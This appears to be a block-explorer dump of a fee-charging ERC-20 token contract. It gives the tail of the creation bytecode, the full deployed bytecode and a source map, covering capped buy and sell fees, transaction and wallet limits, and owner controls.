01000000900460ff1615610f7357601a5491505b610f7c82611298565b5f80610f898888886112d7565b915091505f868214610f9b5730610f9d565b885b90508115611023576001600160a01b0381165f90815260056020526040902054610fc79083610cd4565b6001600160a01b038083165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101a9086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c165f9081526005909152919091205461107491899061117d565b6001600160a01b038a165f90815260056020526040902055600454640100000000900460ff1680156110be57506001600160a01b0388165f9081526008602052604090205460ff16155b156110f2576019546110e8846108528b6001600160a01b03165f9081526005602052604090205490565b11156110f2575f80fd5b6001600160a01b0388165f908152600560205260409020546111149084610cd4565b6001600160a01b03808a165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111679087815260200190565b60405180910390a36001955050505050506108d0565b5f81848411156111a05760405162461bcd60e51b815260040161082c919061168f565b505f6111ac84866118bd565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260059091529182205461120591849061117d565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546112339083610cd4565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112869086815260200190565b60405180910390a35060019392505050565b6004805461ff0019166101001790556112b0816113e0565b601b5447906112c8906001600160a01b031682611530565b50506004805461ff0019169055565b6001600160a01b0383165f908152600760205260408120548190839060ff16801561130a575060045462010000900460ff165b156113195783925090506113d8565b6001600160a01b0386165f908152600a602052604090205460ff1615611360576113596064611353600e548761156390919063ffffffff16565b906115e1565b905061139d565b6001600160a01b0385165f908152600a602052604090205460ff161561139d5761139a6064611353600f548761156390919063ffffffff16565b90505b6001600160a01b0386165f9081526007602052604090205460ff16156113c957835f92509250506113d8565b6113d38482611622565b925090505b935093915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611413576114136118d0565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148e91906118e4565b816001815181106114a1576114a16118d0565b6001600160a01b039283166020918202929092010152601c546114c79130911684610bb1565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ff9085905f908690309042906004016118ff565b5f604051808303815f87803b158015611516575f80fd5b505af1158015611528573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610869573d5f803e3d5ffd5b5f825f0361157257505f6107fd565b5f61157d838561196e565b90508261158a858361188b565b146108d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161082c565b5f6108d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b5f6108d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117d565b5f81836116835760405162461bcd60e51b815260040161082c919061168f565b505f6111ac848661188b565b5f6020808352835180828501525f5b818110156116ba5785810183015185820160400152820161169e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116ee575f80fd5b50565b5f8060408385031215611702575f80fd5b823561170d816116da565b946020939093013593505050565b5f805f6060848603121561172d575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611756575f80fd5b8335611761816116da565b92506020840135611771816116da565b929592945050506040919091013590565b5f60208284031215611792575f80fd5b81356108d0816116da565b5f602082840312156117ad575f80fd5b5035919050565b5f602082840312156117c4575f80fd5b813580151581146108d0575f80fd5b5f80604083850312156117e4575f80fd5b82356117ef816116da565b915060208301356117ff816116da565b809150509250929050565b600181811c9082168061181e57607f821691505b60208210810361183c57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f826118a557634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156107fd576107fd611877565b818103818111156107fd576107fd611877565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118f4575f80fd5b81516108d0816116da565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561194d5784516001600160a01b031683529383019391830191600101611928565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176107fd576107fd61187756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf8c98f644e0d01e7bf55ae774b4def6a20c4129590e258adb1260decbb1dcbb64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610241575f3560e01c80638c0b5e2211610134578063c78a789b116100b3578063f0cd1dac11610078578063f0cd1dac146106a6578063f1d5f517146106bb578063f2fde38b146106da578063f872858a146106f9578063f8b45b051461071a578063fabf70631461072f575f80fd5b8063c78a789b146105e0578063c816841b1461060e578063d76e26a31461062d578063da00097d14610642578063dd62ed3e14610662575f80fd5b80639e3fa323116100f95780639e3fa32314610563578063a08e671f14610578578063a9059cbb1461058d578063b6c3af34146105ac578063c49b9a80146105c1575f80fd5b80638c0b5e22146104eb5780638da5cb5b146105005780638f03aad51461051c578063914eb66a1461053b57806395d89b411461054f575f80fd5b8063313ce567116101c0578063646d470011610185578063646d470014610463578063661b6e3614610478578063705f9d741461048d57806370a08231146104a257806382eefb43146104d6575f80fd5b8063313ce567146103b25780634a74bb02146103d3578063526012e8146103f257806355324fa914610420578063565cec381461044e575f80fd5b80631d865c30116102065780631d865c301461032957806323b872dd1461034a57806325519cf2146103695780632df67109146103885780632f0a5fd41461039d575f80fd5b806303fd2a451461024c57806306fdde031461029c578063095ea7b3146102bd5780631694505e146102ec57806318160ddd1461030b575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b5061027f7f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102a7575f80fd5b506102b061075d565b604051610293919061168f565b3480156102c8575f80fd5b506102dc6102d73660046116f1565b6107ed565b6040519015158152602001610293565b3480156102f7575f80fd5b50601c5461027f906001600160a01b031681565b348015610316575f80fd5b506017545b604051908152602001610293565b348015610334575f80fd5b5061034861034336600461171b565b610803565b005b348015610355575f80fd5b506102dc610364366004611744565b61086e565b348015610374575f80fd5b5061034861038336600461171b565b6108d7565b348015610393575f80fd5b5061031b60125481565b3480156103a8575f80fd5b5061031b60145481565b3480156103bd575f80fd5b5060045460405160ff9091168152602001610293565b3480156103de575f80fd5b506004546102dc9062010000900460ff1681565b3480156103fd575f80fd5b506102dc61040c366004611782565b60086020525f908152604090205460ff1681565b34801561042b575f80fd5b506102dc61043a366004611782565b600a6020525f908152604090205460ff1681565b348015610459575f80fd5b5061031b600c5481565b34801561046e575f80fd5b5061031b60165481565b348015610483575f80fd5b5061031b60155481565b348015610498575f80fd5b5061031b60135481565b3480156104ad575f80fd5b5061031b6104bc366004611782565b6001600160a01b03165f9081526005602052604090205490565b3480156104e1575f80fd5b5061031b600f5481565b3480156104f6575f80fd5b5061031b60185481565b34801561050b575f80fd5b505f546001600160a01b031661027f565b348015610527575f80fd5b5061034861053636600461179d565b61092e565b348015610546575f80fd5b506103486109cb565b34801561055a575f80fd5b506102b0610a3c565b34801561056e575f80fd5b5061031b600b5481565b348015610583575f80fd5b5061031b60105481565b348015610598575f80fd5b506102dc6105a73660046116f1565b610a4b565b3480156105b7575f80fd5b5061031b60115481565b3480156105cc575f80fd5b506103486105db3660046117b4565b610a57565b3480156105eb575f80fd5b506102dc6105fa366004611782565b60096020525f908152604090205460ff1681565b348015610619575f80fd5b50601d5461027f906001600160a01b031681565b348015610638575f80fd5b5061031b600d5481565b34801561064d575f80fd5b506004546102dc906301000000900460ff1681565b34801561066d575f80fd5b5061031b61067c3660046117d3565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156106b1575f80fd5b5061031b600e5481565b3480156106c6575f80fd5b506103486106d536600461179d565b610a9c565b3480156106e5575f80fd5b506103486106f4366004611782565b610aca565b348015610704575f80fd5b506004546102dc90640100000000900460ff1681565b348015610725575f80fd5b5061031b60195481565b34801561073a575f80fd5b506102dc610749366004611782565b60076020525f908152604090205460ff1681565b60606002805461076c9061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546107989061180a565b80156107e35780601f106107ba576101008083540402835291602001916107e3565b820191905f5260205f20905b8154815290600101906020018083116107c657829003601f168201915b5050505050905090565b5f6107f9338484610bb1565b5060015b92915050565b5f546001600160a01b031633146108355760405162461bcd60e51b815260040161082c90611842565b60405180910390fd5b601483905560158290556016819055610858816108528585610cd4565b90610cd4565b600f81905560141015610869575f80fd5b505050565b5f61087a848484610d32565b506108cc84336108c785604051806060016040528060288152602001611986602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061117d565b610bb1565b5060015b9392505050565b5f546001600160a01b031633146109005760405162461bcd60e51b815260040161082c90611842565b60118390556012829055601381905561091d816108528585610cd4565b600e819055600a1015610869575f80fd5b5f546001600160a01b031633146109575760405162461bcd60e51b815260040161082c90611842565b6064601754610966919061188b565b8110156109c65760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b606482015260840161082c565b601855565b5f546001600160a01b031633146109f45760405162461bcd60e51b815260040161082c90611842565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606003805461076c9061180a565b5f6108cc338484610d32565b5f546001600160a01b03163314610a805760405162461bcd60e51b815260040161082c90611842565b60048054911515620100000262ff000019909216919091179055565b5f546001600160a01b03163314610ac55760405162461bcd60e51b815260040161082c90611842565b601955565b5f546001600160a01b03163314610af35760405162461bcd60e51b815260040161082c90611842565b6001600160a01b038116610b585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082c565b6001600160a01b038216610c745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082c565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80610ce083856118aa565b9050838110156108d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082c565b5f6001600160a01b038416610d975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161082c565b6001600160a01b038316610df95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161082c565b600454610100900460ff1615610e1b57610e148484846111b5565b90506108d0565b6001600160a01b0384165f9081526009602052604090205460ff16158015610e5b57506001600160a01b0383165f9081526009602052604090205460ff16155b15610ec357601854821115610ec35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161082c565b305f90815260056020526040902054601a5481108015908190610eee5750600454610100900460ff16155b8015610f1257506001600160a01b0386165f9081526007602052604090205460ff16155b8015610f3557506001600160a01b0385165f908152600a602052604090205460ff165b8015610f49575060045462010000900460ff165b8015610f565750601a5484115b15610f7c576004546301000000900460ff1615610f7357601a5491505b610f7c82611298565b5f80610f898888886112d7565b915091505f868214610f9b5730610f9d565b885b90508115611023576001600160a01b0381165f90815260056020526040902054610fc79083610cd4565b6001600160a01b038083165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101a9086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c165f9081526005909152919091205461107491899061117d565b6001600160a01b038a165f90815260056020526040902055600454640100000000900460ff1680156110be57506001600160a01b0388165f9081526008602052604090205460ff16155b156110f2576019546110e8846108528b6001600160a01b03165f9081526005602052604090205490565b11156110f2575f80fd5b6001600160a01b0388165f908152600560205260409020546111149084610cd4565b6001600160a01b03808a165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111679087815260200190565b60405180910390a36001955050505050506108d0565b5f81848411156111a05760405162461bcd60e51b815260040161082c919061168f565b505f6111ac84866118bd565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260059091529182205461120591849061117d565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546112339083610cd4565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112869086815260200190565b60405180910390a35060019392505050565b6004805461ff0019166101001790556112b0816113e0565b601b5447906112c8906001600160a01b031682611530565b50506004805461ff0019169055565b6001600160a01b0383165f908152600760205260408120548190839060ff16801561130a575060045462010000900460ff165b156113195783925090506113d8565b6001600160a01b0386165f908152600a602052604090205460ff1615611360576113596064611353600e548761156390919063ffffffff16565b906115e1565b905061139d565b6001600160a01b0385165f908152600a602052604090205460ff161561139d5761139a6064611353600f548761156390919063ffffffff16565b90505b6001600160a01b0386165f9081526007602052604090205460ff16156113c957835f92509250506113d8565b6113d38482611622565b925090505b935093915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611413576114136118d0565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148e91906118e4565b816001815181106114a1576114a16118d0565b6001600160a01b039283166020918202929092010152601c546114c79130911684610bb1565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ff9085905f908690309042906004016118ff565b5f604051808303815f87803b158015611516575f80fd5b505af1158015611528573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610869573d5f803e3d5ffd5b5f825f0361157257505f6107fd565b5f61157d838561196e565b90508261158a858361188b565b146108d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161082c565b5f6108d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b5f6108d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117d565b5f81836116835760405162461bcd60e51b815260040161082c919061168f565b505f6111ac848661188b565b5f6020808352835180828501525f5b818110156116ba5785810183015185820160400152820161169e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116ee575f80fd5b50565b5f8060408385031215611702575f80fd5b823561170d816116da565b946020939093013593505050565b5f805f6060848603121561172d575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611756575f80fd5b8335611761816116da565b92506020840135611771816116da565b929592945050506040919091013590565b5f60208284031215611792575f80fd5b81356108d0816116da565b5f602082840312156117ad575f80fd5b5035919050565b5f602082840312156117c4575f80fd5b813580151581146108d0575f80fd5b5f80604083850312156117e4575f80fd5b82356117ef816116da565b915060208301356117ff816116da565b809150509250929050565b600181811c9082168061181e57607f821691505b60208210810361183c57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f826118a557634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156107fd576107fd611877565b818103818111156107fd576107fd611877565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118f4575f80fd5b81516108d0816116da565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561194d5784516001600160a01b031683529383019391830191600101611928565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176107fd576107fd61187756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf8c98f644e0d01e7bf55ae774b4def6a20c4129590e258adb1260decbb1dcbb64736f6c63430008150033

Deployed Bytecode Sourcemap

5951:9920:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7509:74;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;7509:74:0;;;;;;;;8920:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9583:161::-;;;;;;;;;;-1:-1:-1;9583:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;9583:161:0;1231:187:1;7592:39:0;;;;;;;;;;-1:-1:-1;7592:39:0;;;;-1:-1:-1;;;;;7592:39:0;;;9197:100;;;;;;;;;;-1:-1:-1;9277:12:0;;9197:100;;;1801:25:1;;;1789:2;1774:18;9197:100:0;1655:177:1;10514:418:0;;;;;;;;;;-1:-1:-1;10514:418:0;;;;;:::i;:::-;;:::i;:::-;;13595:313;;;;;;;;;;-1:-1:-1;13595:313:0;;;;;:::i;:::-;;:::i;10097:409::-;;;;;;;;;;-1:-1:-1;10097:409:0;;;;;:::i;:::-;;:::i;7020:37::-;;;;;;;;;;;;;;;;7109;;;;;;;;;;;;;;;;9106:83;;;;;;;;;;-1:-1:-1;9172:9:0;;9106:83;;9172:9;;;;2761:36:1;;2749:2;2734:18;9106:83:0;2619:184:1;6195:41:0;;;;;;;;;;-1:-1:-1;6195:41:0;;;;;;;;;;;6527:55;;;;;;;;;;-1:-1:-1;6527:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6647:48;;;;;;;;;;-1:-1:-1;6647:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6746:36;;;;;;;;;;;;;;;;7198:39;;;;;;;;;;;;;;;;7153:38;;;;;;;;;;;;;;;;7064;;;;;;;;;;;;;;;;9305:119;;;;;;;;;;-1:-1:-1;9305:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;9398:18:0;9371:7;9398:18;;;:9;:18;;;;;;;9305:119;6879:38;;;;;;;;;;;;;;;;7304:41;;;;;;;;;;;;;;;;1055:79;;;;;;;;;;-1:-1:-1;1093:7:0;1120:6;-1:-1:-1;;;;;1120:6:0;1055:79;;11178:211;;;;;;;;;;-1:-1:-1;11178:211:0;;;;;:::i;:::-;;:::i;1280:145::-;;;;;;;;;;;;;:::i;9011:87::-;;;;;;;;;;;;;:::i;6704:35::-;;;;;;;;;;;;;;;;6924:44;;;;;;;;;;;;;;;;13420:167;;;;;;;;;;-1:-1:-1;13420:167:0;;;;;:::i;:::-;;:::i;6977:36::-;;;;;;;;;;;;;;;;11049:117;;;;;;;;;;-1:-1:-1;11049:117:0;;;;;:::i;:::-;;:::i;6589:51::-;;;;;;;;;;-1:-1:-1;6589:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7638:26;;;;;;;;;;-1:-1:-1;7638:26:0;;;;-1:-1:-1;;;;;7638:26:0;;;6789:37;;;;;;;;;;;;;;;;6243:45;;;;;;;;;;-1:-1:-1;6243:45:0;;;;;;;;;;;9432:143;;;;;;;;;;-1:-1:-1;9432:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9540:18:0;;;9513:7;9540:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9432:143;6835:37;;;;;;;;;;;;;;;;10940:101;;;;;;;;;;-1:-1:-1;10940:101:0;;;;;:::i;:::-;;:::i;1433:244::-;;;;;;;;;;-1:-1:-1;1433:244:0;;;;;:::i;:::-;;:::i;6295:35::-;;;;;;;;;;-1:-1:-1;6295:35:0;;;;;;;;;;;7352:47;;;;;;;;;;;;;;;;6466:54;;;;;;;;;;-1:-1:-1;6466:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8920:83;8957:13;8990:5;8983:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8920:83;:::o;9583:161::-;9658:4;9675:39;431:10;9698:7;9707:6;9675:8;:39::i;:::-;-1:-1:-1;9732:4:0;9583:161;;;;;:::o;10514:418::-;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;;;;;;;;;10643:18:::1;:36:::0;;;10690:18:::1;:36:::0;;;10737:20:::1;:40:::0;;;10811:68:::1;10760:17:::0;10811:42:::1;10664:15:::0;10711;10811:22:::1;:42::i;:::-;:46:::0;::::1;:68::i;:::-;10790:18;:89:::0;;;10921:2:::1;-1:-1:-1::0;10899:24:0::1;10890:34;;;::::0;::::1;;10514:418:::0;;;:::o;13595:313::-;13693:4;13710:36;13720:6;13728:9;13739:6;13710:9;:36::i;:::-;-1:-1:-1;13757:121:0;13766:6;431:10;13788:89;13826:6;13788:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13788:19:0;;;;;;:11;:19;;;;;;;;431:10;13788:33;;;;;;;;;;:37;:89::i;:::-;13757:8;:121::i;:::-;-1:-1:-1;13896:4:0;13595:313;;;;;;:::o;10097:409::-;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;10225:17:::1;:35:::0;;;10271:17:::1;:35:::0;;;10317:19:::1;:39:::0;;;10389:65:::1;10339:17:::0;10389:40:::1;10245:15:::0;10291;10389:21:::1;:40::i;:65::-;10369:17;:85:::0;;;10495:2:::1;-1:-1:-1::0;10474:23:0::1;10465:33;;;::::0;::::1;11178:211:::0;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;11296:3:::1;11283:12;;:16;;;;:::i;:::-;11267:12;:32;;11259:85;;;::::0;-1:-1:-1;;;11259:85:0;;5218:2:1;11259:85:0::1;::::0;::::1;5200:21:1::0;5257:2;5237:18;;;5230:30;5296:34;5276:18;;;5269:62;-1:-1:-1;;;5347:18:1;;;5340:38;5395:19;;11259:85:0::1;5016:404:1::0;11259:85:0::1;11355:11;:26:::0;11178:211::o;1280:145::-;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;1384:1:::1;1368:6:::0;;1347:40:::1;::::0;-1:-1:-1;;;;;1368:6:0;;::::1;::::0;1347:40:::1;::::0;1384:1;;1347:40:::1;1415:1;1398:19:::0;;-1:-1:-1;;;;;;1398:19:0::1;::::0;;1280:145::o;9011:87::-;9050:13;9083:7;9076:14;;;;;:::i;13420:167::-;13498:4;13515:42;431:10;13539:9;13550:6;13515:9;:42::i;11049:117::-;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;11126:21:::1;:32:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;11126:32:0;;::::1;::::0;;;::::1;::::0;;11049:117::o;10940:101::-;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;11012:9:::1;:21:::0;10940:101::o;1433:244::-;1189:6;;-1:-1:-1;;;;;1189:6:0;431:10;1189:22;1181:67;;;;-1:-1:-1;;;1181:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1522:22:0;::::1;1514:73;;;::::0;-1:-1:-1;;;1514:73:0;;5627:2:1;1514:73:0::1;::::0;::::1;5609:21:1::0;5666:2;5646:18;;;5639:30;5705:34;5685:18;;;5678:62;-1:-1:-1;;;5756:18:1;;;5749:36;5802:19;;1514:73:0::1;5425:402:1::0;1514:73:0::1;1624:6;::::0;;1603:38:::1;::::0;-1:-1:-1;;;;;1603:38:0;;::::1;::::0;1624:6;::::1;::::0;1603:38:::1;::::0;::::1;1652:6;:17:::0;;-1:-1:-1;;;;;;1652:17:0::1;-1:-1:-1::0;;;;;1652:17:0;;;::::1;::::0;;;::::1;::::0;;1433:244::o;9752:337::-;-1:-1:-1;;;;;9845:19:0;;9837:68;;;;-1:-1:-1;;;9837:68:0;;6034:2:1;9837:68:0;;;6016:21:1;6073:2;6053:18;;;6046:30;6112:34;6092:18;;;6085:62;-1:-1:-1;;;6163:18:1;;;6156:34;6207:19;;9837:68:0;5832:400:1;9837:68:0;-1:-1:-1;;;;;9924:21:0;;9916:68;;;;-1:-1:-1;;;9916:68:0;;6439:2:1;9916:68:0;;;6421:21:1;6478:2;6458:18;;;6451:30;6517:34;6497:18;;;6490:62;-1:-1:-1;;;6568:18:1;;;6561:32;6610:19;;9916:68:0;6237:398:1;9916:68:0;-1:-1:-1;;;;;9997:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10049:32;;1801:25:1;;;10049:32:0;;1774:18:1;10049:32:0;;;;;;;9752:337;;;:::o;2387:181::-;2445:7;;2477:5;2481:1;2477;:5;:::i;:::-;2465:17;;2506:1;2501;:6;;2493:46;;;;-1:-1:-1;;;2493:46:0;;6972:2:1;2493:46:0;;;6954:21:1;7011:2;6991:18;;;6984:30;7050:29;7030:18;;;7023:57;7097:18;;2493:46:0;6770:351:1;13916:1948:0;14003:4;-1:-1:-1;;;;;14030:20:0;;14022:70;;;;-1:-1:-1;;;14022:70:0;;7328:2:1;14022:70:0;;;7310:21:1;7367:2;7347:18;;;7340:30;7406:34;7386:18;;;7379:62;-1:-1:-1;;;7457:18:1;;;7450:35;7502:19;;14022:70:0;7126:401:1;14022:70:0;-1:-1:-1;;;;;14111:23:0;;14103:71;;;;-1:-1:-1;;;14103:71:0;;7734:2:1;14103:71:0;;;7716:21:1;7773:2;7753:18;;;7746:30;7812:34;7792:18;;;7785:62;-1:-1:-1;;;7863:18:1;;;7856:33;7906:19;;14103:71:0;7532:399:1;14103:71:0;14190:16;;;;;;;14187:1670;;;14240:41;14255:6;14263:9;14274:6;14240:14;:41::i;:::-;14233:48;;;;14187:1670;-1:-1:-1;;;;;14337:26:0;;;;;;:18;:26;;;;;;;;14336:27;:61;;;;-1:-1:-1;;;;;;14368:29:0;;;;;;:18;:29;;;;;;;;14367:30;14336:61;14333:175;;;14436:11;;14426:6;:21;;14418:74;;;;-1:-1:-1;;;14418:74:0;;8138:2:1;14418:74:0;;;8120:21:1;8177:2;8157:18;;;8150:30;8216:34;8196:18;;;8189:62;-1:-1:-1;;;8267:18:1;;;8260:38;8315:19;;14418:74:0;7936:404:1;14418:74:0;14585:4;14536:28;9398:18;;;:9;:18;;;;;;14661:15;;14637:39;;;;;;;14709:44;;-1:-1:-1;14737:16:0;;;;;;;14736:17;14709:44;:78;;;;-1:-1:-1;;;;;;14758:29:0;;;;;;:21;:29;;;;;;;;14757:30;14709:78;:108;;;;-1:-1:-1;;;;;;14791:26:0;;;;;;:15;:26;;;;;;;;14709:108;:133;;;;-1:-1:-1;14821:21:0;;;;;;;14709:133;:161;;;;;14855:15;;14846:6;:24;14709:161;14705:364;;;14908:25;;;;;;;14905:89;;;14979:15;;14956:38;;14905:89;15013:36;15028:20;15013:14;:36::i;:::-;15086:19;15107:17;15128:34;15136:6;15144:9;15155:6;15128:7;:34::i;:::-;15085:77;;;;15179:19;15214:6;15201:9;:19;:44;;15240:4;15201:44;;;15223:6;15201:44;15179:66;-1:-1:-1;15263:13:0;;15260:179;;-1:-1:-1;;;;;15322:22:0;;;;;;:9;:22;;;;;;:37;;15349:9;15322:26;:37::i;:::-;-1:-1:-1;;;;;15297:22:0;;;;;;;:9;:22;;;;;;;:62;;;;15383:40;;;;;;;;;;15413:9;1801:25:1;;1789:2;1774:18;;1655:177;15383:40:0;;;;;;;;15260:179;15475:53;;;;;;;;;;;-1:-1:-1;;;15475:53:0;;;;;;;;-1:-1:-1;;;;;15475:17:0;;-1:-1:-1;15475:17:0;;;:9;:17;;;;;;;;:53;;15497:6;;15475:21;:53::i;:::-;-1:-1:-1;;;;;15455:17:0;;;;;;:9;:17;;;;;:73;15548:16;;;;;;;:54;;;;-1:-1:-1;;;;;;15569:33:0;;;;;;:22;:33;;;;;;;;15568:34;15548:54;15545:135;;;15670:9;;15629:37;15654:11;15629:20;15639:9;-1:-1:-1;;;;;9398:18:0;9371:7;9398:18;;;:9;:18;;;;;;;9305:119;15629:37;:50;;15621:59;;;;;;-1:-1:-1;;;;;15720:20:0;;;;;;:9;:20;;;;;;:37;;